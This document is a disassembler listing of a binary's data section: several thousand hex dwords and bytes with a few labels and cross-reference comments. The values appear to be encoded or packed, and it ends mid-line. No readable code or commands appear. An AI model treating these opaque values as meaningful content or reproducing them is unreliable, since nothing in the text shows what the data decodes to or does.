dd 570920CFh, 249DE659h, 0B5F5A378h, 0B79C0E9Fh, 343A1917h dd 3213EC4Bh, 0B2756622h, 53E09AD9h, 2200DB0Bh, 3D15606Ch dd 321503A7h, 0B7D39311h, 343D6BADh, 32078F03h, 0FA2E6622h dd 0ABFF25F3h, 0FD14493Fh, 0F9D864A9h, 0BAC679C1h, 321560F8h dd 0B1F1E988h, 5A7DAC98h, 0D2674B45h, 3214E51Eh, 0CDE96688h dd 1A38B3F1h, 0FD940624h, 38BED352h, 0B7980774h, 343D5DFFh dd 321FE52Dh, 37FC6611h, 3F156688h, 1432BD33h, 0BBE9B6DDh dd 1D6AC594h, 0B7D39A8Eh, 343D6B61h, 321F8F65h, 0F3A96611h dd 2C2418h, 3392DFEAh, 1BA6D74Ah, 87EA939Fh, 343D4B5Dh dd 34996924h, 3D156622h, 32156694h, 530AD388h, 9AEE3C9h dd 0B875600Ah, 0E2EA07CDh, 9590EF71h, 3D13493Bh, 321567AAh dd 0B61A9311h, 32156689h, 1790A0B1h, 71134E2Fh, 3210ED1Eh dd 0CB756688h, 5A74A8CFh, 0F2632C85h, 49F7E771h, 8C6E7A1Eh dd 1FF54495h, 87EA9A43h, 343D4BC4h, 8990EB7Dh, 3D134E7Fh dd 321561A1h, 339E6911h, 0C7156688h, 3D75B6BBh, 321566A4h dd 0B79C0711h, 343A1923h, 321574ADh, 0A210A222h, 0B4834897h dd 2B8F6CCCh, 0E975D411h, 0F43D4F4Ch, 1A184394h, 3EFC2A8Eh dd 3D156644h, 0D26B90EFh, 6ED360D7h, 0DB744D85h, 32156641h dd 37086E24h, 5EFE0ECEh, 0B3759DEEh, 0BD1F13A3h, 87EA0714h dd 343D715Ch, 2CAE9FE8h, 53703C0Ch, 9AEE3AFh, 85756039h dd 0E2EA0747h, 0D90EFB8h, 3D1349A2h, 3215729Bh, 321A8F88h dd 50E06644h, 0D69DA8FDh, 8E82620Bh, 0AACE9C83h, 1790A094h dd 76134E2Fh, 0DBD2ED71h, 32156680h, 0C9F54F92h, 0EF746059h dd 0BC400E70h, 8775DDFBh, 54FEE7D9h, 537326DDh, 1FC0D3EEh dd 0DB7560A0h, 32156642h, 0A4161BC1h, 0BB1A7F50h, 3215668Bh dd 53DFD14Bh, 9AEE3AFh, 0B71A6039h, 32156680h, 3217E84Bh dd 53756622h, 0BBEDB6EEh dd 1D6AC90Dh, 321D8F42h, 84066622h, 0F214E05Ch, 0B7D3637Fh dd 343D6B61h, 0CE7D9E61h, 0CAA9E87Fh, 1FC0D377h, 0BFE0606Ch dd 1A2EDDA7h, 321E8F17h, 0E7276688h, 0C1C9BCEAh, 5C060D02h dd 0DBC59980h, 32156687h, 0AF90BEAAh, 53289E13h, 4FEC9FBh dd 0BB70162Eh, 1D6AD5C1h, 32138F24h, 0D30A6611h, 8AE3998Eh dd 3F30E382h, 3D46600Ah, 32156798h, 987D9E88h, 3DD3767Ah dd 321567ADh, 87EA9311h, 343D4B5Dh, 3206EE4Bh, 0B81A6622h dd 3215661Ch, 32156E61h, 2155F944h, 362058CFh, 8990EBC9h dd 3D134EB3h, 32156AC2h, 349A6922h, 3D156611h, 32156607h dd 32188F44h, 5A996622h, 52CD85E7h, 9DEE4209h, 0CD4A44F6h dd 0B79C9AF2h, 343A19A6h, 3218E487h, 3AFC6644h, 7B156622h dd 0C460774Eh, 0B1F49DBEh, 1A3487F9h, 0B61A6624h, 32156578h dd 3204E187h, 3EFC6644h, 47156622h, 0F9D4FF6Dh, 1F3A150Fh dd 0F42A2D1Ch, 1A1843A7h, 5AE92017h, 0C883A8B9h, 0E7A099BDh dd 3D134E0Fh, 32156E9Ch, 309A6988h, 52156644h, 8990EB43h dd 3D134E2Ah, 32157F04h, 32018F44h, 9DF06622h, 0DC37FD6Dh dd 0CE6BBC48h, 99DEDCFh, 42AB2797h, 0E2EABA7Ch, 32156961h dd 0E8C0744h, 884DA0D8h, 3C027B03h, 8AB7EA82h, 0B206E3CDh dd 3DFC600Dh, 95156611h, 0D9D654A4h, 6AC0AA3Eh, 381C6901h dd 0B7D351BCh, 343D6BADh, 0E47D9F02h, 52E9C118h, 0B9DFD91Eh dd 87EA074Ah, 343D4B91h, 32156BCBh, 0AB1B911h, 8C45E365h dd 3C234535h, 0B7986519h, 343D5DAAh, 3DC59970h, 321573CDh dd 3D946922h, 0DB156611h, 32156682h, 9995F10h, 3336AC9Bh dd 0B79C826Ah, 343AE6ABh, 3205E74Bh, 39FC6622h, 0F8156611h dd 0F0AE9652h, 9EDDD314h, 0B7D321EEh, 343D6B34h, 327D9FCEh dd 52879AE0h, 887892A2h, 55D765FEh, 87EA9AE9h, 343D4B91h dd 0E1950642h, 5365D244h, 3211EA87h, 88736644h, 0BF747521h dd 1A2EDD94h, 32048F8Eh, 2CDA6644h, 495C9196h, 9C12E87Dh dd 8CD8213Ch, 0CDA5A6A0h, 0DB9506F2h, 32188E92h, 0E8F16688h dd 71EEAE0Eh, 72057E2Fh, 6DB9A94Bh, 3EFC06E9h, 45156644h dd 0FB01B07h, 5229999Dh, 52B9D84Dh, 4BBDA8C5h, 53752EACh dd 0B79C0770h, 343AE6AFh, 3214E14Bh, 0DBE96622h, 3215661Dh dd 5FA395C2h, 20D05A96h, 19D5C3ECh, 3F30E3D7h, 525360A0h dd 5A749FBDh, 0C4C12948h, 0E7A099E8h, 0CB134EA5h, 9AEE3C9h dd 0BF1A600Ah, 32156634h, 32128EE8h, 0B24A6644h, 894E0C98h dd 23FC3CDEh, 0AF156688h, 38CDFB46h, 0D0FFC4F4h, 0B2ABB7CCh dd 0B46F032Bh, 0E2EA9325h, 1990EFDEh, 0DB134991h, 32156680h dd 0B524A5h, 3383A58Dh, 3F30E3D7h, 3D5360A0h, 321561CEh dd 33946922h, 0CE156611h, 62F20E7Dh, 0CDEDF289h, 1A38B397h dd 321B8F17h, 0EE116688h, 712BB531h, 0B4DBD304h, 3D35115Dh dd 0F0A269E8h, 3217EA4Bh, 6C466622h, 8990EB70h, 0CE134EB3h dd 3EFCB6BBh, 0B2156622h, 713B9BA3h, 1AFB7CDEh, 0BBC48925h dd 1D9571A7h, 32068F17h, 0A1956688h, 65A2D727h, 382F18D2h dd 3C975821h, 0CE6F1D07h, 1790A0A3h, 74134E2Fh, 0F1A26971h dd 32188FE9h, 0BD186644h, 587B6CA2h, 70E31F26h, 5A477527h dd 8337127Fh, 32906942h, 3D156611h, 0CD74AD3Fh, 1A38B3F1h dd 32078F24h, 51D56611h, 0A3B97D84h, 89FBD992h, 2E6561F2h dd 0BA6E537Eh, 9AEE305h, 0DB75606Ch, 3215662Dh, 96BCA529h dd 0B96959DAh, 7A8ADD4Fh, 3D253445h, 0CD74A4AEh, 0B31A0658h dd 32156647h, 53DEED44h, 0B20EE398h, 0F4EC60A7h, 1A1843C1h dd 5AED2024h, 0ED6C8CFCh, 32068FE8h, 57CD6644h, 0DD6BF9E3h dd 0B425C485h, 0A1F5F746h, 9D1C7C87h, 0C4AA69F2h, 0E7A09970h dd 0CB134EA5h, 9AEE3C9h, 20FC600Ah, 0A2156611h, 4F585196h dd 1FB2A719h, 0F225EA42h, 319FA01Dh, 3DC599BDh, 32156CC5h dd 0C1AA0622h, 5456D430h, 0BB74B703h, 1D9579C1h, 0DBEC0624h dd 32156619h, 0B872D64Fh, 816CFCAEh, 27A8E543h, 32134E01h dd 32A9E387h, 0F4EC6644h, 1A1843A7h, 35FC3517h, 40156688h dd 0B7A79EF4h, 6C7D13CDh, 52DBD8F1h, 32078F7Dh, 2B66644h dd 5AB85313h, 421F1C80h, 53EED051h, 0D448E67Ch, 0E7A09943h dd 52134E3Ch, 32156C61h, 0D829B44h, 70CD09h, 649BB933h dd 3215EE87h, 534F6644h, 9AEE3AFh, 3CFC6039h, 0E7156688h dd 460FD287h, 0DB9CF59h, 3A2AD847h, 52C59964h, 321569ACh dd 53D10F22h, 0F6A38E22h, 0DCF1EA7Ch, 0C8DA7ED6h, 6C1B84A2h dd 3217EC1Eh, 0E4A26688h, 8990EF25h, 3D13495Dh, 32156E92h dd 309B6988h, 52156644h, 851A0643h, 321A8FDBh, 34FC6688h dd 0B3AEA373h, 0B84B72CFh, 40EE0F9Ah, 0B7D30707h, 343D6B61h dd 25966965h, 52156611h, 0BF29B330h, 321E8F4Ch, 6A3F6622h dd 4315C31Fh, 0DAF261C5h, 0B57D071Eh, 3DD2D77Ch, 32156790h dd 87EA9E88h, 343D4B91h, 8990EBDBh, 0CE134E2Ah, 3214EB87h dd 0CDEC6644h, 0B79C9FF2h, 343A19AEh, 32156A61h, 3924F44h dd 0DE92F8E0h, 0EC33DCD5h, 34FC0632h, 69156644h, 92FCBA9Ah dd 8F960782h, 343D769Dh, 8A906944h, 3D156622h, 32156A99h dd 349E6988h, 3D156644h, 321566A2h, 35FC0611h, 0F5156688h dd 0CC5CD6EDh, 68ABB505h, 53038420h, 3F30E34Eh, 0DB52606Ch dd 32156624h, 7AFEDFEBh, 21FC2C6Bh, 0E8156644h, 0AC9A0D6Eh dd 8043AD9Bh, 0B5C2A0EBh, 0F59D315Bh, 377DDCADh, 3DF3046Fh dd 3215780Ah, 2A956944h, 0DB156622h, 32156602h, 94684AC0h dd 8BE3E8C9h, 0C9B3A5DDh, 38EC46E0h, 0CD66ADB5h, 1A38B3F1h dd 0B7989324h, 343D5DAAh, 3212E587h, 0B9756644h, 0FBA269DBh dd 0CBC59970h, 4DD6E301h, 0B975606Bh, 0BD1A07DBh, 32156602h dd 32156861h, 9CB1E344h, 2C8C0519h, 0A3F88A4Fh, 0F4C8BD8Dh dd 1A1843C1h, 22FC2524h, 20156611h, 3893826Ch, 0E479E5F0h dd 939EA48Eh, 5AFA7CC0h, 0A06F6F7Eh, 32156EADh, 6E43CB22h dd 6B9669ACh, 0E7A099EDh, 0DB134E69h, 32156631h, 60C39CBDh dd 0ACA5AEC1h, 444A1EA1h, 86126228h, 0BFA431DFh, 1A2EDD0Dh dd 239C6942h, 0DB156622h, 3215661Dh, 2371A98Ah, 85D5A748h dd 0C821423Eh, 22FCB6EEh, 64156688h, 62E4EDB6h, 3B64E2E8h dd 0A0EEAF25h, 0BB866D4Bh, 1D6AA1C1h, 33996924h, 0C7156611h dd 32156B61h, 0A3775944h, 0C8B55CEEh, 4106D873h, 0B7D35553h dd 343D6B61h, 127D9E61h, 0DBE94786h, 3215669Bh, 0D4C05C8Fh dd 26C1865Eh, 0F50309F6h, 824180B5h, 0CDF7B00Eh, 1A38B397h dd 3DFC0617h, 0EC156688h, 5287892h, 4251400h, 33C6605Ch dd 0FC943803h, 597E8FA8h, 8990EB43h, 3D134E2Ah, 32156307h dd 60EC0644h, 0E2EA077Dh, 3214E41Eh, 0BBE06688h, 1D6AADC1h dd 23FC0624h, 16156611h, 0E105E71Ch, 22CA822Fh, 9624F7C3h dd 13DE3D4Bh, 27A8E5E9h, 32134E54h, 32F5E32Dh, 0F4ED6611h dd 1A18430Dh, 0B41A2542h, 32156623h, 9A160EE8h, 3BFCED88h dd 79156644h, 1CC184C9h, 582EA1A5h, 1FC0D377h, 0BFE9606Ch dd 1A2EDDA7h, 0E2EA9F17h, 32156161h, 2E430B44h, 1A1629B7h dd 4DC6E398h, 0F4E060A7h, 1A1843C1h, 3D752524h, 32156295h dd 17AA0088h, 0ED9535F1h, 5A743FCAh, 0D74E50C4h, 0FC9406E8h dd 536E3376h, 0B3749BA8h, 1B6CE6C1h, 87EA07D3h, 343D4B91h dd 22976942h, 0DB156611h dd 32156683h, 0D45870B1h, 88D97786h, 53E7298Fh, 9AEE305h dd 20FC606Ch, 0A1156622h, 99992FEFh, 755BC37Ch, 6E70D333h dd 0D45034F8h, 0DBC5993Dh, 32156686h, 0FC57292Ah, 18EFFE37h dd 14100C35h, 0BF1A015Fh, 3215664Bh, 32156CCBh, 5B8C3211h dd 0A3424801h, 0BB55F62Bh, 1D6AA9A7h, 0B7D39A17h, 343D6BADh dd 20FC9F07h, 2A156622h, 0CBB128A1h, 0A183930Eh, 57A4677Dh dd 3E2140B2h, 0F40E8Bh, 34FC8C22h, 0F1156644h, 0A1938922h dd 0E7A099F8h, 0CA134EA5h, 9AEE3C9h, 0BF1A600Ah, 32156617h dd 0EDD9E6E8h, 0E2EA07BCh, 0E590EFDAh, 5213496Eh, 0A4A0B903h dd 1790A025h, 71134E2Fh, 32048E71h, 1FC96688h, 68FE85F3h dd 0DB9CCC5Ah, 0BBE615BAh, 0CB333BC8h, 0C5A2691Bh, 0BF1A0643h dd 32156612h, 53C5EDEEh, 0C3B9512Ch, 2A9F69A6h, 0DB156611h dd 3215669Bh, 29B413DEh, 78B689C1h, 3EDCD936h, 374D2191h dd 0DB666E68h, 32156632h, 0C7E3B4BEh, 66959F0Eh, 0C90CFE7Eh dd 7C4A460h, 1FC0D3EEh, 0CAED60A0h, 9AEE3C9h, 8875600Ah dd 5BDB84EDh, 53CAD187h, 5475B6BBh, 0BB749FA9h, 1D6ABD94h dd 3595698Eh, 3D156644h, 321567AEh, 0B7D39311h, 343D6BADh dd 32198F0Bh, 2E4F6622h, 238BE228h, 0DCFDDDAEh, 0E67D1C0Ah dd 0C78253B2h, 1FC0D3EEh, 817560A0h, 68E4E768h, 53317D62h dd 9AEE39Ch, 0BA1A60A0h, 32156657h, 321568CBh, 0A12B4511h dd 5C632D89h, 0A447635Ah, 0CD3291F0h, 321B8FC1h, 0D75C6688h dd 0C78D80EDh, 2802AF4Ah, 8DFD94E4h, 4DCAE301h, 0BE1A606Bh dd 32156630h, 32156BF8h, 0F9C3A388h, 67F48A16h, 0A5F071E8h dd 0B7D38BA6h, 343D6BADh, 32138F0Bh, 88EE6622h, 3A493C2h dd 5C1B64E0h, 32138FBDh, 530A6622h, 3D988725h, 1FC0D377h dd 0BFEC606Ch, 1A2EDDA7h, 3A926917h, 3D156688h, 321564CCh dd 0CD740622h, 0F7AC06C1h, 532A969Eh, 4DF6E3CDh, 8975600Dh dd 511E7170h, 46A6AE09h, 0CA744836h, 3F30E3E4h, 52586039h dd 3213E587h, 0B41A6644h, 32156622h, 5A74ABA0h, 0FA221FC1h dd 0E7A099B1h, 0DB134E0Fh, 3215661Eh, 0DA6F19B9h, 24032A33h dd 5F9FB64Ah, 0BFD0074Fh, 1A2EDD0Dh, 321F8F42h, 0DE4E6622h dd 1C078329h, 6AC60922h, 0BBEDB6BBh, 1D6A8DA7h, 321E8F17h dd 327D6688h, 1791589Eh, 0C02A4E0Eh, 1790A02Bh, 7F134E85h dd 7F9C0EBDh, 0BC1ABAD5h, 32156616h, 3214EE87h, 0CDED6644h dd 1A38B397h, 321B8F17h, 68806688h, 6C32246h, 0E179485Eh dd 0D7F74456h, 9AEE305h, 3DEC606Ch, 321567A6h, 0E2EA9311h dd 32156961h, 47FD2E44h, 0F6863555h, 0A706EEE2h, 0BEF0CCD4h dd 4DF2E3CDh, 20FC600Dh, 0F1156611h, 43CCE304h, 0A3821900h dd 2B76DD0Dh, 0F18A5A3Dh, 1790A00Eh, 67134E49h, 3207EC2Dh dd 3FFC6611h, 88156688h, 49A901B6h, 0BF0BF33h, 0EB222C82h dd 293851E0h, 321F8FD8h, 0C8366622h, 0B25C7C92h, 162D238Ch dd 1FC0D3BBh, 0BFEC600Ah, 1A2EDD94h, 321B8F8Eh, 27AE6644h dd 0FF586161h, 0D2C27FADh, 57D1CB11h, 0BF1AB6BBh, 32156625h dd 3214E91Eh, 0BBEC6688h, 1D6A89C1h, 0BC1A0624h, 32156612h dd 0DBD6D187h, 3215664Eh, 4D836F71h, 1B227C18h, 0F474B1FFh dd 1A1843C1h, 5AED2524h, 0E0C0963Bh, 5AE00E8h, 32188FB9h dd 658D6622h, 6C6FABDAh, 0AA28FF18h, 53F074D6h, 1FC0D3DDh dd 0DA756039h, 3215669Ah, 23852097h, 656F1AA2h, 8EF6EACh dd 43725B46h, 1CA1434Eh, 3CFC067Ah, 0CD156611h, 3DC09BEBh dd 96A87D6Fh, 0AB4C1944h, 0C49400D5h, 53746268h, 9AEE3C9h dd 0B875600Ah, 0C2A269DDh, 3DC599E9h, 321571CFh, 23986922h dd 0DB156611h, 32156684h, 9E6CCBE8h, 2A64234Dh, 6C0ADE75h dd 4DE6E301h, 5475606Bh, 53E0769Bh, 3F30E3D7h, 0DB4760A0h dd 3215664Dh, 0CC1C8D2Ah, 885CFF6h, 86FF0EA4h, 52E09B06h dd 53EFED44h, 1FC0D3EEh, 537560A0h, 9AEE3C9h, 3FFC600Ah dd 5C156611h, 407FDD90h, 94D07ECCh, 60FBC2E7h, 0BE1AB6EEh dd 32156681h, 48FEDE24h, 0F39F3265h, 0AA0670h, 0DA6618B0h dd 32156641h, 30296788h, 0B7E7E757h, 6B163B94h, 1790EF25h dd 3D134E05h, 3215689Ah, 0BC1A0688h, 32156644h, 5F13ADA3h dd 0DB7416F6h, 32156682h, 0A4F4A901h, 469F17C5h, 0B7D3517Ah dd 343D6BADh, 0B9730603h, 0F19400ECh, 5A7492D3h, 0D08D3F11h dd 321A8F24h, 3EF16622h, 390FD3BBh, 0D9EFDD00h, 821A3297h dd 379B691Dh, 54156611h, 79959109h, 0E7A09925h, 3D134E0Fh dd 32156193h, 33926988h, 0CE156644h, 9AEE3AFh, 52756039h dd 3215E287h, 0B3736644h, 531E0EF4h, 32156EF9h, 0BEAF0C88h dd 9EED6C36h, 0D0CDE7FEh, 6C18FDDBh, 0CAC599E9h, 4DE2E3CDh dd 0B91A600Dh, 32156610h, 1790A071h, 75134E49h, 321D8E42h dd 0CC6E6611h, 2B5503E9h, 0E49E4CD7h, 32128F7Dh, 0C2486611h dd 0A506A46Ch, 0B61A0781h, 32156623h, 52D70EE4h, 37FCD775h dd 18156644h, 2A70CFE0h, 1FC0D3EEh, 0B61A60A0h, 32156645h dd 8990EBDAh, 52134E2Ah, 89739803h, 0CD74C8F8h, 73AD06F2h dd 0DB098E89h, 3215669Ah, 0D46EFD27h, 0AE5445A8h, 813053A8h dd 4E61832Ah, 0BB745CAAh, 1D6A9DA7h, 339D6917h, 0CB156688h dd 3F30E382h, 3D52600Ah, 32157299h, 321A8F88h, 34D46644h dd 0E830E4FDh, 1DF9E630h, 86721CA4h, 3F9569AAh, 52156622h dd 9686BAEh, 329C69A7h, 53156644h, 94EB724Ah, 87EA9FCEh dd 343D4B5Dh, 3214EB4Bh, 0BFEC6622h, 1A2EDD94h, 3590698Eh dd 3D156644h, 321567AFh, 0E2EA9311h, 0B37306E8h, 8B87B684h dd 5A429AA5h, 86CFDD70h, 0BB74023Eh, 1D6A99C1h, 0B7D39E24h dd 343D6B34h, 321A8FD7h, 2666644h, 0B150D7C3h, 852CE75Eh dd 96E3A547h, 0C07D0EE5h, 0B71AF872h, 3215661Fh, 32156F61h dd 14AEE244h, 0A558679Fh, 87EA935Eh, 343D4B5Dh, 3214E14Bh dd 0BFEC6622h, 1A2EDD94h, 3698698Eh, 52156644h, 0CD74A9A9h dd 32138FC1h, 0F3876688h, 64416A4Ah, 0B216E3ABh, 0B91A603Eh dd 32156689h, 1790A0BDh, 7D134E2Fh, 321561F8h, 0FA947A88h dd 317AFCBCh, 0CE6E594Ah, 32018FD6h, 4D3C6688h, 0CF294C66h dd 578E336Ah, 0B386D8F3h, 88EB741Dh, 87EA1ABCh, 343D4BF7h dd 0B8AB0071h, 0FBABDE15h, 0BF7401ACh, 1A2EDDA7h, 399B6917h dd 0DB156688h, 32156642h, 76A30E6Eh, 0E2EAC0ABh, 32157661h dd 43E35044h, 1724A6C9h, 2DC56566h, 250F8FAEh, 1D90EF71h dd 3D1349A2h, 3215679Bh, 0B7D39388h, 343D6B61h, 32188F65h dd 95606611h, 0C2F55EC9h, 96032C5h, 5AD0C502h, 0C84E085Dh dd 32156C61h, 0B30D6244h, 0F89A318Eh, 0CD4D0C28h, 1A38B33Dh dd 0E2A10642h, 53C6ED44h, 9AEE39Ch, 547560A0h, 8C73ACCFh dd 0C7749354h, 0DA75B6EEh, 32156685h, 46E21FA2h, 26AFC4E4h dd 859CB6ECh, 0CAA26997h, 321D8F1Eh, 0B5206622h, 0C440839Ch dd 0BB74A05Eh, 1D9555C1h, 32068F24h, 1816611h, 33FDF2A5h dd 0D986AE96h, 7E7CA448h, 0F1E4BAB1h, 1790A0B8h, 75134E49h dd 32936942h, 0DB156611h, 32156684h, 0F4E729Ch, 4C311870h dd 0D1372817h, 16D80EE9h, 3D75A542h, 321562AFh, 44AC0011h dd 53E2EC77h, 1FC0D3BBh, 38FC600Ah, 7E156611h, 9B249A04h dd 429E558Eh, 8990EB72h, 52134E2Ah, 32108FD9h, 0F5D76644h dd 6D28010Bh, 53DED11Eh dd 39FCB677h, 0EA156644h, 5671124Fh, 22178845h, 3BFCAE62h dd 6E156644h, 974EFA39h, 77A31DDAh, 0B222E301h, 0B275606Bh dd 18ACDDC8h, 531D2112h, 3F30E34Eh, 524A606Ch, 32188EDBh dd 0F8036611h, 0DB743C62h, 18693677h, 0DADD7094h, 32156601h dd 62ADB934h, 5F4DF9CFh, 0A3B5D1D6h, 0FF318573h, 5A7439D6h dd 0E6AE0688h, 32156ECBh, 120CB911h, 0A3B0BFD9h, 0E7A099C9h dd 3D134E0Fh, 32156795h, 0B7989E88h, 343D5DFFh, 3212ED2Dh dd 0B61A6611h, 32156689h, 32058FBDh, 7FDF6622h, 999EBAC3h dd 7A6BE80Dh, 0E85A90D8h, 0E2EAC461h, 3590EFEDh, 0CE134908h dd 3F30E382h, 524A600Ah, 6AC5E777h, 53EFED98h, 0DB41282Ch dd 3E9569BCh, 52156611h, 6FBE7EEh, 0EB940058h, 0CD746D6Ch dd 1A38B3A4h, 0B798938Eh, 343D5DFFh, 321563CBh, 0B5724511h dd 0E2EA8167h, 3213E24Bh, 52756622h, 534A3070h, 0B21EE301h dd 3BFC606Bh, 4C156622h, 9C151A97h, 0FC00CAD7h, 3214E24Bh dd 0F4EC6622h, 1A184394h, 0B51A398Eh, 32156648h, 3213EE2Dh dd 0B31A6611h, 32156688h, 213D2E2Ch, 87EA9EF3h, 343D4BC4h dd 3205EE87h, 0BE1A6644h, 32156628h, 321563F8h, 0D3A63488h dd 0B7988E96h, 343D5D99h, 321568F8h, 45744688h, 0C81B215Bh dd 46D010E2h, 0CD95048Dh, 20FC9358h, 5A156644h, 3CC771D3h dd 7EEB2A4Eh, 1D8D36C7h, 15C9287Ch, 3D90EF73h, 0DB134991h dd 32156686h, 6B54B0CFh, 263CE4D9h, 95BFF0ABh, 3BFCAF04h dd 0D8156644h, 0E8331866h, 6B271475h, 0C77562E2h, 32018F12h dd 43CB6622h, 89002552h, 3F3BF939h, 0B837F991h, 3EA89565h dd 534F3FBCh, 22150E71h, 54756644h, 8A02B5A3h, 53D6D11Eh dd 320566E0h, 3AFC0644h, 0B9156622h, 184577D1h, 62463DCAh dd 321569ADh, 0ACE77D22h, 6AD1FCA6h, 0E11DEAD0h, 0C4CABC87h dd 327F0778h, 9ADDE671h, 0A0D6E7EEh, 3FFC0793h, 0BB156622h dd 0D2FD4B2Eh, 0B08A1308h, 0ACB60521h, 3D14F3DDh, 0B3756039h dd 0FD58941h, 0FD940058h, 0BB74D938h, 1A318794h, 6BAF068Eh dd 521064C3h, 8D1A94A9h, 0BF7407CEh, 1D4CB70Dh, 0E2EA9A42h dd 0CE110CDEh, 32056679h, 81750688h, 53ED07ECh, 3235664Ah dd 32058F11h, 0A6546688h, 28A91EE8h, 0C8858FCEh, 0D751C1E3h dd 327F832Eh, 54759324h, 53479E9Dh, 33809970h, 3D134E87h dd 321569C8h, 321F8F22h, 731F6611h, 27786D8Dh, 7509AEC1h dd 1324E3ABh, 52E96039h, 0AF08B909h, 3D75270Fh, 5375949Dh dd 0B79C0770h, 343D707Dh, 0CE550CBDh, 3205664Ah, 327D9F11h dd 0CB156788h, 0CDED662Eh, 1A1A67B7h, 0B79C9317h, 343D7789h dd 0D3A0EDBCh, 0DB134E2Ch, 3215661Ah, 2557A8B1h, 0E65A7669h dd 0B9535A07h, 1A26A78Ch, 32018F8Eh, 0D0A6644h, 0C29DB41h dd 13C1BD67h, 0C3B38F72h, 3EE2E7A1h, 879C434Dh, 343D6284h dd 5788EF74h, 3D134E43h, 321567A1h, 0AF9E9311h, 343D5549h dd 0D3940024h, 23FC5CA7h, 0F1156611h, 0FDDDF895h, 0EEFA10EEh dd 0A566E9D4h, 692C3B34h, 602699E9h, 390EE2FEh, 16415751h dd 0B34C3C15h, 390EE279h, 26FC0637h, 0F2156622h, 2173F634h dd 0FCDDA133h, 0E7B6D6A7h, 0EB9B0077h, 0B2BFD665h, 0B1744741h dd 0B61A66BDh, 32155E6Fh, 32156FF8h, 0D40AF688h, 0B6F05462h dd 0BB438098h, 36D3E7F7h, 0B1156688h, 69262AAh, 369C3A06h dd 3A9B6935h, 3D156688h, 321564CCh, 5A740622h, 32152A49h dd 52316A01h, 32198FBDh, 0CD5D6622h, 0A6FF8289h, 9E5EC1F7h dd 3D742D25h, 321567ABh, 0DB759A11h, 3215668Fh, 30620885h dd 38AF4DDh, 32078FD1h, 0CBC6688h, 7819629Dh, 0F785BCC8h dd 968BC7FFh, 54FCDCC1h, 267CE3CDh, 52EC600Ah, 32188E40h dd 0EBC76688h, 0AD257764h, 0C436D7B5h, 6C00D2D5h, 32058FD7h dd 241B6644h, 0E854DF72h, 2939D854h, 2367FB04h, 6074BB36h dd 0E26BD44Ah, 61573C6Ah, 0D202BA33h, 0E9E22D60h, 1EA88DA3h dd 0D99473A7h, 732F5F57h, 0BB4EBC45h, 37FC3CF4h, 0FF156611h dd 6FA917A9h, 329FDD17h, 0EC143EB6h, 1661654Ah, 0B8FBE7A8h dd 3D4DF244h, 321567ABh, 35FC9E11h, 0C5156688h, 7B9499C3h dd 9F73BA3Fh, 0D1563E9h, 48107D61h, 3145940Bh, 1F354266h dd 62E7296Bh, 0DB2A66A5h, 42EA9F5Fh, 1621ED5Ah, 0DB11A292h dd 32156699h, 3603FC9Dh, 53E2DAA1h, 192FBF8Dh, 560EE22Ch dd 72FBE7D9h, 3117637Ah, 67354265h, 374D2635h, 6FFB6746h dd 321568CBh, 56598B11h, 7BFACF74h, 0F64755C7h, 6255F0F2h dd 32157EA9h, 0B9E56788h, 1611ED7Ch, 3D11A2A1h, 32156797h dd 54759388h, 8C31A7C5h, 404C8798h, 8F9C0750h, 343D7929h dd 3218E94Bh, 3AFC6622h, 1D156611h, 9FDE11F5h, 0B768D56Ah dd 1C9069DDh, 3D156611h, 32156704h, 0A4FD9344h, 0DB15667Ch dd 32156617h, 0B10B2202h, 79FC2B9Ah, 0DB156627h, 3215661Ch dd 3FE4B897h, 88547FAAh, 0EBBF913h, 2950E10h, 3E9C6688h dd 3D750660h, 321566A7h, 329C6911h, 53156688h, 3217E64Bh dd 6D436622h, 29D00E70h, 2E9C6688h, 0BBEEEF60h, 0B3753DF8h dd 1F8CC9E6h, 5397D283h, 32156CADh, 0E4E33322h, 7D07CAD7h dd 594532CEh, 3CFC6296h, 0ED156622h, 29C9A49Eh, 761A4E94h dd 3E42E549h, 0DB80EFEDh, 0DB134E0Eh, 32156680h, 8EE8EE49h dd 0C665C98Bh, 5AED627Bh, 32157688h, 3214ED4Bh, 52ED6622h dd 64DCD11Eh, 534C07E8h, 0B3F7EF16h, 321562E0h, 36FFE511h dd 6E31720Fh, 0CB3172CDh, 0DB756648h, 3215661Bh, 0A47F9137h dd 0EF2B231Eh, 0FAAEB877h, 537C0A3Bh, 3D14F377h, 0B61A606Ch dd 32156625h, 3214E21Eh, 0BBE06688h, 1A18B3C1h, 34FC0624h dd 36156611h, 2611C71Ch, 53E7ED93h, 1601ED72h, 3211A290h dd 0B9ED6688h, 0BB454248h, 321163C2h, 0F2966611h, 1611E18Ch dd 0B41A0618h, 32156627h, 7ECAE777h, 0DA749A46h, 32153B2Dh dd 0B3E8EC42h, 7C25E8D9h, 0BB4007B0h, 36D0E7A1h, 0B1156622h dd 1E9262FCh, 69C3AACh, 3D759F60h, 321567A6h, 0E9959F11h dd 0DBB8078Ch, 32156642h, 8AFE2FA5h, 0E038275Dh, 1F7CA897h dd 53573AAAh, 16312221h, 70498814h, 2DC763E9h, 0BB1A0F8Ah db 35h byte_5C3A41 db 66h, 15h ; DATA XREF: ___:off_438448o byte_5C3A43 db 32h ; DATA XREF: ___:off_43A580o dword_5C3A44 dd 321574F8h, 9E9CC188h, 32A4045Bh, 5BC95EAFh, 8BE8F987h ; DATA XREF: ___:off_43A578o dd 6243857Ch, 0E9E3E13h db 6, 0E7h, 0D1h db 36h dd 3D156611h, 32156707h, 0B3429344h, 597A420Eh, 2E9E5596h dd 36D1E5ACh, 597AA5C5h, 3DFC55A5h, 48156611h, 82E3810Dh dd 6BBBF4F8h, 0B508138h, 0BB454622h, 32116368h, 36386644h dd 0B5156622h, 0BB494215h, 2EC42B4h, 47BB9F84h, 321F8FDFh dd 4A6E6611h, 0A2FEC7EDh, 71DFBF08h, 32156CCBh, 0A2BDE311h dd 8CED3AEBh, 0DB7B162Dh, 32156636h, 52ECC0F0h, 2C433910h dd 0B807AFF9h, 47EAFDF5h, 0B4682A65h, 32156861h, 27717544h dd 0FC5F3E14h, 0D7EF131Ch, 0CD746254h, 0B14B4270h, 0B51A62E6h dd 32156630h, 32018FE8h, 63786644h, 0FEDDB35Eh, 605DE292h dd 9ABED653h, 4297A642h, 0BF1A9AE3h, 32156611h, 73AC37E9h dd 0B3305C6Bh, 0CB2D13CBh, 2BD4E72Fh, 336E75D6h, 0ED3C3F8Bh dd 66F089A3h, 0BA1A0745h, 32156689h, 0D49C30B1h, 3211A0A3h dd 0DC966611h, 1621E18Ch, 1601EF18h, 32108F42h, 57116611h dd 3D8F2D3Dh, 321569CEh, 321F8F22h, 0B8E46611h, 